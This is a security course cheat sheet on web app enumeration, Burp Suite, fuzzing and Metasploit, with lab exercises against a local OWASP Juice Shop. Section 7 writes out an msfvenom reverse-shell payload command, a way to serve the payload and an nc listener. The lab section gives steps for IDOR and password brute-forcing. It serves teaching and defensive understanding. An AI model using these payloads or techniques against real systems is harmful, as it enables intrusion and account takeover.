Week 4 Web App Enumeration & the Burp Workflow
CSS484 — Week 4 Cheat Sheet: Web App Enumeration & the Burp Workflow
"Map the surface, read the frontend, then let the tools prove what you found." The big-picture pipeline (memorize this flow): Recon (map surface) → Frontend fingerprinting → Burp enumeration → Fuzzing (dirs + params) → CVE/Exploit validation → Post-exploitation
1. Recon — Mapping the Attack Surface
Before you attack anything, understand exactly what you are attacking.
Why web apps are the primary target
Attackers start from a browser — no network breach required.
| Structural fact | Why it matters |
|---|---|
| Publicly exposed by default | Almost every org (banks, universities, hospitals) puts at least one app on the internet |
| Change faster than security | Features ship weekly; security reviews rarely keep pace → shortcuts accumulate |
| Complex, fragile business logic | Intricate workflows create edge cases that are easy to abuse |
| User input is everywhere | Every field, header, and cookie is attacker-controllable |
| Auth is often flawed | Authentication & authorization are the most commonly broken controls |
Typical web application architecture (know the 4 layers)
L1 — Client (browser/mobile app — fully attacker-controlled)
▼ TRUST BOUNDARY ▼
L2 — Frontend (HTML/CSS/JS — a roadmap to the backend)
L3 — Backend logic + APIs (authorization decisions & high-impact bugs live here)
L4 — Databases & storage (credentials, user data, business info)
Auth ties every layer together. If identity is weak, an attacker doesn't need to break every layer — they simply become another user, or an admin.
Think like an explorer — the recon question set
- What functionality exists? (enumerate every feature)
- What's visible vs. hidden? (undocumented APIs, debug routes, abandoned features)
- What inputs control behaviour? (every parameter is a lever)
- What do developers assume? (users follow the intended workflow)
- What if inputs are modified? (mutate values, observe changes)
- What checks are missing? (authz, rate-limiting, validation?)
Analogy: Think of the app like a locked house — the front door (UI) is only one entrance. An explorer checks windows, the garage, the back door (inputs, hidden endpoints) for what the owner forgot to lock.
Manual discovery techniques (start here, not with automated tools)
- Navigate normally — click every link, submit every form, build a mental map
- Observe URLs & query params —
/admin,/api,/user/profilereveal structure - Inspect JavaScript files — frontend code is free reconnaissance
- Review
robots.txt&sitemap.xml— meant for search engines, often list unadvertised directories - Compare logged-in vs. logged-out — differences expose authorization gaps
URLs & params as immediate levers:
/admin, /api, /user/profile → reveal structure
?id=1024 → walk objects?
?role=user → escalate?
?debug=true → leak state?
The core question: what happens if I don't use the app the way developers expected? That's where manual discovery pays off.
Commonly forgotten & exposed paths (guess these first — no zero-day needed)
| Path pattern | What it reveals |
|---|---|
/admin, /administrator | Login panels & management consoles |
/api, /api/v1 | Undocumented or older, weaker endpoints |
/test, /dev | Incomplete features, hardcoded creds |
/backup, /old | Config files, source, legacy versions |
/debug, /health | System status & environment leaks |
/internal, /staff | Protected only by obscurity |
Key lesson: attackers don't need zero-days — they look for what developers forgot to lock down.
Case study — hidden functionality → breach (Broken Access Control, OWASP Top 10)
1. Undocumented admin endpoint → exposed on production, unlinked in UI
2. No authorization check → backend trusted only admins would arrive
3. Relied on obscurity → entire "security model" = nobody will find it
4. Attacker enumerated URLs → tried /admin, /internal, versioned API routes
5. Sensitive data accessed → user records, internal reports, admin functions
6. Fixed: enforce access control → verify identity & permission on EVERY request
"If users can't see it, they can't reach it." — the dangerous assumption behind a huge number of modern breaches.
Real-world examples:
- Optus Australia (2022) — exposed API (weak/no auth) → 10 million customer records leaked
- Citibank (2011) — attackers logged into their own accounts, then simply changed the account number in the URL
2. Frontend — Fingerprinting the Frontend
The JavaScript an app ships is an unintentional blueprint of its backend.
Common frontend technologies
| Framework | Routing style | Rendering |
|---|---|---|
| Angular | /#/ or #!/ hash routing | client-side |
| React | History-API client routing | client-side |
| Vue.js | Template-driven SPA | client-side |
| HTML/jQuery | Classic multi-page apps | server-side |
- Client-side (SPA): many URLs handled entirely in JS. Real backend endpoints live behind the scenes as API calls — server may never see the visible path.
- Server-side (MPA): every URL maps directly to a backend endpoint. Discovery shifts to JS files, network traffic, API request patterns.
Angular/React/Vue — what the URL tells you (exam favorite)
A URL with
/#/or#!/signals hash-based client routing. Everything after the hash is never sent to the server — the browser strips it before the request.
Example: https://example.com/app/#/admin/users → the browser sends GET /app/ with Host: example.com, and #/admin/users never leaves the machine.
⚠️ Access control based only on client-side routing is meaningless. The server never even sees it, so it cannot possibly be enforcing it.
Analogy: Hash routing is like a sticky note on your own desk telling you "don't open this drawer." The building security guard (server) never sees the note — so it isn't actually locked.
AngularJS (legacy) — common patterns
- Expression syntax:
{{ }}— in early AngularJS, user input could be evaluated as an expression, enabling template injection & arbitrary JS - Even when not directly exploitable,
{{ }}signals a legacy, end-of-life, often-unpatched framework - Client-side access control (admin menus hidden by role in JS — bypassable via direct backend requests)
- Frontend form validation (length/format checks the server may not enforce)
- Hardcoded API paths in config objects — reveal internal endpoints & forgotten functionality
React & Vue (modern) — what to look for
- JSX/template syntax compiles to plain JS — every API call is readable after compilation
- Token-based auth (almost always JWT)
- Role checks in frontend — always test whether the backend enforces the same checks
- Environment variables sometimes accidentally exposed in the bundle
- Feature flags reveal unfinished/hidden functionality
What attackers learn from frontend code
API endpoints never linked in the UI · hidden routes (disabled/staging features) · feature flags · parameter names (isAdmin, role, accountId) · validation logic (what the server expects) · business assumptions (expected workflows & trust)
The frontend is a gift to whoever bothers to read it.
Legacy web apps in the wild
Often the highest-risk apps in the whole organisation — old, business-critical, patched unevenly, rarely reviewed with fresh eyes.
- Multi-page apps (MPA) — every click loads a new page
- jQuery layered on server-side templates
- Endpoint-shaped URLs map straight to a handler:
admin.php,download.asp,view.aspx?id=123 - Session-cookie authentication, often weak
- "Works in prod" emergency patches applied unevenly
Server-side rendered applications
Request (click/submit) → Server builds page (templates + data) → HTML returned
Why injection thrived here: parameters flow directly into DB queries, file operations, and authorization checks with little abstraction. Inconsistent validation lets attackers inject SQL, commands, file paths, or template expressions — and verbose errors reveal exactly how data is processed.
Python & Django — strong defaults, but not bulletproof
| Strong defaults | Where it still breaks |
|---|---|
ORM parameterizes queries — SQLi can't land unless .raw()/.extra() used deliberately | Opt-outs — mark_safe, .raw(), rendering user input as a template. Bug-hunting = grep for these |
Templates auto-escape output — XSS can't land unless marked |safe | Access control (IDOR) — the ORM won't stop it; it's business logic, not syntax. OWASP #1 |
| CSRF is on as middleware by default | DEBUG = True — stack trace, settings, and exact SQL that ran — a verbose-error map, in higher fidelity |
Analogy: Django is like a house built with great locks on every door by default (ORM, auto-escape, CSRF) — but if someone leaves the master key under the doormat (DEBUG=True, mark_safe), the locks don't matter.
3. The Lab Target — OWASP Juice Shop
A safe, deliberately vulnerable target that looks like a real e-commerce app.
- Intentionally vulnerable — purpose-built for offensive web security learning
- Modern SPA + API backend — looks real
- Realistic attack patterns — same issue classes as real assessments
- Safe & legal to attack — deliberately vulnerable, fine for the classroom
- Covers the OWASP Top 10
- Teaches tool workflows, not just individual exploits
Links: owasp.org/www-project-juice-shop · owasp.org/Top10/2025
Running Juice Shop on Kali
Runs as a Docker container: isolated, resettable, reachable only from your host. Safe to attack repeatedly.
sudo apt update
sudo apt install -y docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo docker pull bkimminich/juice-shop
sudo docker run --rm -p 3000:3000 bkimminich/juice-shop
# then open in browser:
http://localhost:3000Finding the score-board via browser DevTools (alternative to Burp method):
- Open the browser Debugger (dev tools)
- Use the
{}button (bottom-left) to un-minify the source - Search the code with
Ctrl+Shift+F - Look for a route like
/score...
4. Tooling — The Burp Suite Workflow
The intercepting proxy at the centre of web testing. Burp doesn't understand business logic, authorization models, or intent: you do.
Why workflow matters
| Principle | Meaning |
|---|---|
| Observation precedes manipulation | Learn normal request patterns before changing anything |
| Manual before automated | Browse, map, and study before any scan |
| Precision before volume | Targeted testing beats spraying noise |
| Detection risk rises with noise | Aggressive scanning floods logs and triggers IDS |
Tools do not find/define vulnerabilities. People do. A structured workflow forces observation before manipulation, and keeps you quiet.
Proxy — observing real application behaviour
Every request, response, header, and parameter passes through Burp — the foundation of enumeration.
- Reveals the true request flow (redirects, background API calls, auth handshakes, token refreshes)
- Shows hidden endpoints (internal routes, versioned APIs, admin functions never in the UI)
- Exposes headers & tokens (session IDs, JWTs, CSRF tokens, API keys, auth headers)
- Separates UI from backend — shows what the backend actually accepts & processes
Analogy: Burp is like a phone wiretap between you and the server — it doesn't understand the conversation, it just lets you read and replay every word said.
Five tools that do most of the work
| Tool | Letter | Purpose |
|---|---|---|
| Proxy | P | Intercept and view live traffic — the hub you route the browser through |
| Repeater | R | Hand-edit one request and resend it as often as you like — your workbench |
| Intruder | I | Automate a request across a list of payloads — fuzzing, brute force, enumeration |
| Target | T | The site map — a tree of everything Burp has seen, plus scope rules |
| Decoder | D | Encode/decode Base64, URL, hex; also hashing — great for tokens/params |
Four essential skills (PortSwigger getting-started)
- Intercepting HTTP traffic — route the browser through Burp and pause a request
- Modifying requests — edit params/headers before forwarding
- Setting the target scope — constrain Burp to the app under test
- Reissuing a request — replay and compare responses in Repeater
Guide: portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-traffic
5. Fuzzing — Enumeration & Fuzzing
Systematic input variation to map what exists before you try to break it.
What fuzzing actually means
- Systematic input variation — not random noise
- Pattern-driven guessing — inputs chosen from observed structure
- Discovery, not exploitation — the goal is to find, not to break
- Coverage over randomness — explore the behaviour space systematically
- Assumption testing — "what if the developer's assumption is wrong?"
A core enumeration technique, not an attack by itself. Most serious vulnerabilities are found by fuzzing first and discovering what exists.
Directory fuzzing
Systematically guess URLs/paths to discover functionality that isn't linked anywhere. No exploits, no authentication needed.
| Target category | Examples |
|---|---|
| Admin interfaces | /admin, /manage, /console |
| Debug endpoints | /debug, /health, /status, /metrics |
| Backup files | .bak, .zip, DB dumps, config |
| Legacy functionality | Deprecated, unpatched, forgotten |
| Environment artifacts | /dev, /test, /staging, /old |
Why it works (human behaviour, not technical failure):
- Large attack surface (apps grow over time) · human naming patterns (
admin,test,oldreused) · inconsistent cleanup (temp files rarely removed) · security through obscurity (obscurity relied on over access control) · time pressure on devs (shortcuts stay in place) · rarely audited paths
Parameter fuzzing
Once you know which endpoints exist, what inputs do they accept? Most vulnerabilities aren't caused by bad input — they're caused by unexpected input.
- Hidden parameters (feature flags, debug options, filters, internal switches)
- Optional/conditional inputs (matter only in certain states: resets, uploads, checkout)
- Backend-only parameters — fields the frontend never sends but the backend still trusts:
isAdmin,role,price,status - Client-controlled values — IDs, account numbers, roles → authz-bypass candidates
- Type confusion — number → string? boolean → array? object replacing a value?
- Boundary testing — very large numbers, negatives, empty fields, unexpected formats
Directory vs. parameter fuzzing — the comparison table (exam gold)
| Aspect | Directory Fuzzing | Parameter Fuzzing |
|---|---|---|
| Question | "What else exists on this server?" | "What else can this functionality do?" |
| Focus | Paths | Inputs |
| Nature | Structural — maps the layout | Logical — explores data handling |
| Reveals | Discovery of what is there | Behaviour of what is there |
| Direction | Expands horizontally across the app | Expands vertically into backend logic |
In practice: ethical hackers alternate between the two as new information appears — they're complementary.
Interpreting fuzzing results
- Status code changes — the most obvious signal, but not the only one
- Response size anomalies — new functionality even when status is unchanged
- Timing differences — extra backend processing or conditional logic
- Error message variation — often the clearest insight into backend behaviour
- Redirect behaviour — auth/authz applied inconsistently
- Silent success — looks normal, but behaviour quietly changed
⚠️ Silent success is the most dangerous: a normal-looking
200 OKwhile internal state quietly changed — unauthorized access, altered permissions, abused logic. Nothing looks broken, so it's the easiest to miss.
Analogy: Like a thief who steals your car but leaves it looking parked in the exact same spot — no alarm, no broken window, everything "looks fine."
6. How Flaws Appear in the Wild — Real Systems
The human reasons behind hidden endpoints, weak parameters, and predictable IDs.
How hidden endpoints appear (all ordinary development decisions, never undone)
- Frontend leftovers — code references endpoints no longer linked but still live
- API versioning — older endpoints often remain active alongside new ones
- Debug functionality — frequently left accessible after development
- Feature toggles — hide UI without disabling the backend
- Admin shortcuts — added for convenience, never removed
- Legacy migrations — old endpoints left behind "just in case"
The pattern: hiding the UI is not the same as disabling the backend. The endpoint outlives the link that pointed to it.
Weak parameters
- Client-controlled values — any value from a form/mobile app/API is fully under attacker control; server can't tell legitimate from modified
- Missing validation — devs assume params the UI won't change are safe; attackers test that assumption immediately
- Inconsistent checks — validated on creation but trusted on retrieval/update
- Overloaded parameters — one param serving multiple roles (e.g., filtering and access scope)
- Implicit defaults — backend fills missing values; a test can be omitted, duplicated, or reordered
Predictable IDs and IDOR (Insecure Direct Object Reference)
Sequential identifiers are not a bug — a design choice that becomes dangerous without access control. If ownership isn't verified, IDs become "object walking."
- Sequential identifiers — simple, fast, easy to index, easy to enumerate
- Guessable formats — numeric sequences, timestamps, structured IDs
- Exposed object references — IDs in URLs/API responses become direct object references
- Lack of ownership checks — no verification the requester owns the object
IDOR probe example (Burp Repeater):
GET /api/user/1024/profile
200 OK (my own data)
GET /api/user/1025/profile ← just change the number?
200 OK (someone else's!)
GET /api/order/50012
If the app doesn't verify ownership, an attacker retrieves or modifies other users' data just by changing the number. That is an IDOR.
Analogy: Imagine a hotel where room keys are just sequential numbers, and the front desk never checks if the number on your key matches your room — anyone can just try the next number.
Chaining vulnerabilities (real attacks rarely rely on one flaw)
1. Hidden endpoint discovery → found via enumeration or code analysis
2. Parameter manipulation → endpoint accepts weakly-validated inputs
3. ID enumeration → predictable identifiers enable object walking
4. Unauthorized access → authorization checks fail to prevent it
5. Data exposure → sensitive data read/modified/deleted
6. Privilege escalation → sometimes via logic alone, no technical exploit
No single game-over bug: a chain of individually minor flaws becomes a serious compromise — sometimes through business logic alone, with no technical exploit fired.
Analogy: Like a burglar who doesn't break a single lock, but uses a spare key (leaked endpoint) to open the garage (weak param), then walks through an unlocked internal door (missing ownership check) straight to the safe.
7. From Enumeration to Exploit
CVEs — weaponized knowledge
CVE (Common Vulnerabilities and Exposures): the formal language of known security flaws. Critically, CVEs are version-specific — "Apache vX under conditions Y," not "Apache" in general.
- Public vulnerability records — disclosed, analysed, assigned an identifier
- Known exploitation paths — advisories, PoC code, write-ups
- Searchable intelligence — map enumerated versions to known weaknesses
- Risk prioritization — not every vuln is equally exploitable
- Patch verification — confirm whether a vulnerable version is still present
cve.org/CVERecord?id=CVE-2025-55182
React Server Components — pre-auth RCE, CVSS 10.0
# a frontend you fingerprinted becomes a known exploit
Metasploit exploitation framework
Scanning says something might be wrong; Metasploit says whether it can actually be broken.
- Modular exploit framework — thousands of pre-built exploits, payloads, scanners, post modules
- Payload abstraction — exploit and payload are separate; swap reverse/bind/Meterpreter freely
- Exploit reliability testing — checks the service, selects compatible exploits, manages retries
- Version fingerprinting — matches identified versions to modules
- ⚠️ Safe lab usage only — never run blindly against production
Metasploit payload walkthrough (lab-only demo — know this command sequence)
On attacker@kali:
# 1) generate the payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<real-kali-ip> LPORT=4444 -f exe > shell.exe
# 2) serve it
python3 -m http.server 80
# 3) start the listener on Kali
nc -lvnp 4444On the Windows VM: open browser → navigate to http://kaliIP/shell.exe → download & execute
Session opened — confirm control:
> ipconfig
> whoami
> tasklist
Lab only. We now have a controlled session and have proven the vulnerability is real and high impact — no longer guessing.
8. Post-Exploitation — After the Breach
Password cracking, and why one recovered credential unlocks so much more.
Password cracking — online vs. offline
| Property | Online Attacks | Offline Attacks |
|---|---|---|
| Target | Interact with live systems | Attack captured hashes |
| Speed | Slow, noisy, rate-limited | Billions of guesses/second |
| Defences | Lockouts & alerts trigger | No limits, no lockouts, no logs |
Analogy: Cracking a captured hash offline is like being handed a locked diary with no one watching — you can try every combination all night, no alarm. Online guessing is like trying the diary's lock in front of its owner — too slow, too risky, they'll notice.
The cracking process (a deliberate sequence, not guessing)
- Hash identification — the wrong algorithm guarantees failure
- Tool selection — by hash type, hardware & time constraints
- Wordlists — a baseline; raw lists are rarely enough
- Rule-based attacks — transform words to match real human patterns
- GPU acceleration — cuts cracking time from weeks to hours
- Result interpretation — success shows risk, not entitlement to access
9. 🖥️ LAB SECTION — Week 4 Workshop: Web App Testing with Burp Suite
Target: OWASP Juice Shop at http://localhost:3000, run as an isolated Docker container. Everything below is authorized by design and confined to the local lab.
Core habit: you're told the goal and which Burp tool to use, but not the exact click sequence — read the interface (right-click menus especially) and PortSwigger's docs (
portswigger.net/burp/documentation) to work it out yourself.
docker run --rm -p 3000:3000 bkimminich/juice-shopExercise 1 — Find the hidden Score Board
Goal: locate a page not linked anywhere in the app's navigation, using Burp's traffic log.
Step-by-step:
- Confirm Juice Shop is running at
http://localhost:3000 - Open Burp Suite → temporary project, default settings
Proxy → Intercept → Open Browser— a preconfigured Chromium opens, already routed through Burp- Make sure Intercept is OFF (lets traffic flow while Burp still logs it)
- Browse the shop normally — click a few products, open the login page
Proxy → HTTP history— see the numbered list of every request- Find the row for
main.js(ormain-es2015.js) and select it - Click the Response tab — view the raw file contents
- Click in the response, press Ctrl+F, search for
score - The search jumps to the text
score-board— the hidden route - Navigate Burp's browser to
http://localhost:3000/#/score-board→ Score Board page loads
Worked example (actual run detail):
- The string
score-boardappeared 1 of 7 matches inside the compiled Angular bundle — specifically as a component'srouterLinktarget AND itsaria-label("Open score-board") for a hidden menu item - A follow-up request
GET /api/Challenges?name=Score%20Boardfired automatically once the route loaded — the backend independently verifies challenge completion server-side; the SPA route is only the entry point, not the actual completion mechanism
Why this works: the route was never a clickable link in the rendered UI, yet it was fully present, unobfuscated, inside the compiled JS bundle downloaded on every page load. Angular ships its entire route table — including
aria-labels and hidden menu entries — to the browser as plain, readable JavaScript. "Security through obscurity" at the UI layer provides no real protection against someone reading the traffic Burp records.
Report checklist:
- Screenshot: Burp HTTP history with the
main.jsrequest selected - Screenshot: the open Score Board page
- 2–3 sentences: how you found the hidden address, and why an attacker reading traffic can find pages that never appear as links
Exercise 2 — Read another user's basket with Repeater (IDOR)
Goal: test whether the server checks basket ownership — the classic IDOR demonstration.
Setup: register 2 accounts (Alice, Bob), add an item to each basket. Log in as Alice, try to read Bob's basket.
Step-by-step:
- Log in as Alice in Burp's browser
- Open your own basket (click the basket icon) — this generates the request
Proxy → HTTP history— find the requestGET /rest/basket/<number>- Right-click → Send to Repeater, then click the Repeater tab
- Click Send unchanged — note:
200 OK, body contains Alice's basket items (baseline) - Change only the basket number to Bob's basket ID — change nothing else
- Click Send again
- Result: still
200 OK, but the body now contains Bob's basket items — the server never checked ownership
Worked example (actual run detail):
- Alice's request for basket
7(later confirmed via Bob's JWT containing"bid":7to actually be Bob's basket) returned200 OKwith{"status":"success","data":null}(Content-Length: 32) - Critically, the client itself displayed a green toast confirming a challenge solved: "View Basket (View another user's shopping basket.)" — Juice Shop's own challenge-tracking logic independently detects this exact condition, which is itself an admission the app "knows" the check should exist
data:nulljust means basket 7 was empty at that moment — the challenge fires purely on successfully retrieving a basket that isn't your own, regardless of contents
Why this is a flaw: the server correctly authenticated the request (Alice's session was valid) but never performed the second, equally necessary check: authorization — confirming basket 7 actually belongs to the requester. Because the basket ID is a small, sequential, client-controlled integer, it costs an attacker nothing to walk through nearby values.
The fix is NOT to hide/randomize the ID — that only raises the guessing cost, it doesn't close the hole. The fix is an ownership check on the backend: before returning basket N, verify basket N belongs to the currently authenticated user; return
403 Forbiddenotherwise.
Troubleshooting tips:
- Can't find the request in history? Check the filter bar isn't set to in-scope-only; confirm you clicked the basket after Burp was running
- Changed ID returns an error instead of a basket? That ID doesn't exist — try another small number
- Response looks empty? Widen the Repeater response pane or hit Pretty to format the JSON
Report checklist:
- Screenshot: Repeater request for the changed basket ID + the other user's data in the response
- Before/after: state the one value changed and how the response differed
- 2–3 sentences: why this is a security flaw, and what the server should have checked
Exercise 3 — Guess a password with Intruder
Goal: automate sending the same request with many candidate values — brute-forcing a login.
Step-by-step:
- Capture a failed login attempt against Bob's account (any wrong password) in
Proxy → HTTP history - Find the
POST /rest/user/loginrequest, select it - Right-click → Send to Intruder, click the Intruder tab
- In the request body, find
"password":"wrongpass"— select justwrongpass(not the quotes), click Add § — it becomes"password":"§wrongpass§"(the only value that will change) - Confirm Attack type = Sniper (walks a single list through the one marked position)
- Go to the Payloads sub-tab
- Enter a candidate password list, one per line — include the real one somewhere in the list
- Click Start attack
- Read the results table — look at Status and Length columns: most rows are identical failed logins; one row differs(different status code + longer response containing an auth token) — that row's payload is the correct password
Worked example (actual run — a genuinely useful worked table):
| Payload | Status | Length |
|---|---|---|
| password | 401 | 413 |
| 123456 | 401 | 413 |
| admin | 401 | 413 |
| 12345 | 401 | 413 |
| letmein | 401 | 413 |
| the real one | 401 | 413 |
| bob123 | 200 | 1187 |
- Correct password:
bob123— stood out on both Status AND Length simultaneously - Every failed attempt:
401with exactly413bytes (generic "Invalid email or password" error) - Successful attempt:
200with1187bytes — inspecting the response confirmed a JWT token plus"bid":7and"umail":"bob@...")— independently confirming basket7from Exercise 2 belongs to Bob - Even an accidental literal candidate (
"the real one"left in the wordlist by mistake) simply failed like any other wrong guess — Intruder tolerates a messy wordlist fine
Why the successful request looked different — structural, not cosmetic: a failed login and a successful login are fundamentally different response shapes — one is a short, generic error object; the other carries the full authentication payload (JWT token, basket ID, email). Automating via Intruder (vs. trying each by hand in Repeater) makes this difference trivial to spot at scale.
Defensive fix: rate limiting / progressive lockout on the login endpoint (throttle/block repeated failures from the same account/IP), AND return a response of identical shape and length for both a wrong password and a non-existent account — removing the length/status side-channel that made spotting success so easy.
Report checklist:
- Screenshot: Intruder results table with password list + marked position
- State the answer: which password worked, and which column (Status or Length) made it stand out
- 2–3 sentences: why the successful request looked different, and one hardening measure
What to submit
- One PDF to Google Classroom, screenshots + short supporting text for all 3 exercises, in order
- Name + student ID at the top
- Nothing else to upload
10. Rapid-Fire Recall Table (Last-Minute Review)
| Concept | One-liner |
|---|---|
| 4 app layers | Client → Frontend → Backend logic/APIs → Databases (auth ties them all together) |
Hash routing (/#/) | Everything after # never reaches the server — client-side-only "security" is meaningless |
| Legacy AngularJS tell | {{ }} expression syntax — signals old, often-unpatched framework |
| Django's strong defaults | ORM parameterizes queries, templates auto-escape, CSRF on by default |
| Django's weak spots | mark_safe, .raw(), DEBUG=True, and IDOR (ORM can't stop broken authz logic) |
| Burp's 5 core tools | Proxy (P), Repeater (R), Intruder (I), Target (T), Decoder (D) |
| Burp workflow order | Observe (Proxy) → manual test (Repeater) → automate (Intruder) — never skip straight to automation |
| Directory fuzzing | "What else exists?" — structural, maps paths, needs no auth |
| Parameter fuzzing | "What else can this do?" — logical, explores backend data handling |
| Most dangerous fuzzing result | Silent success — a normal 200 OK while internal state quietly changed |
| IDOR | Insecure Direct Object Reference — server authenticates but never checks ownership of the object requested |
| IDOR fix | NOT hiding/randomizing IDs (raises cost, doesn't close hole) — an actual ownership check on the backend |
| Vulnerability chaining | Individually minor flaws (hidden endpoint + weak param + no ownership check) → serious compromise |
| CVE | Version-specific public vulnerability record — "Apache vX under condition Y," not "Apache" broadly |
| Metasploit's value | Scanning says might be wrong; Metasploit proves it can actually be broken |
| Online vs. offline cracking | Online = slow, rate-limited, alerts fire; Offline (captured hash) = billions of guesses/sec, no lockouts |
| Intruder attack type used | Sniper — one payload list through one marked position |
| Intruder success signal | Status code AND/OR response length differs from the uniform failure pattern |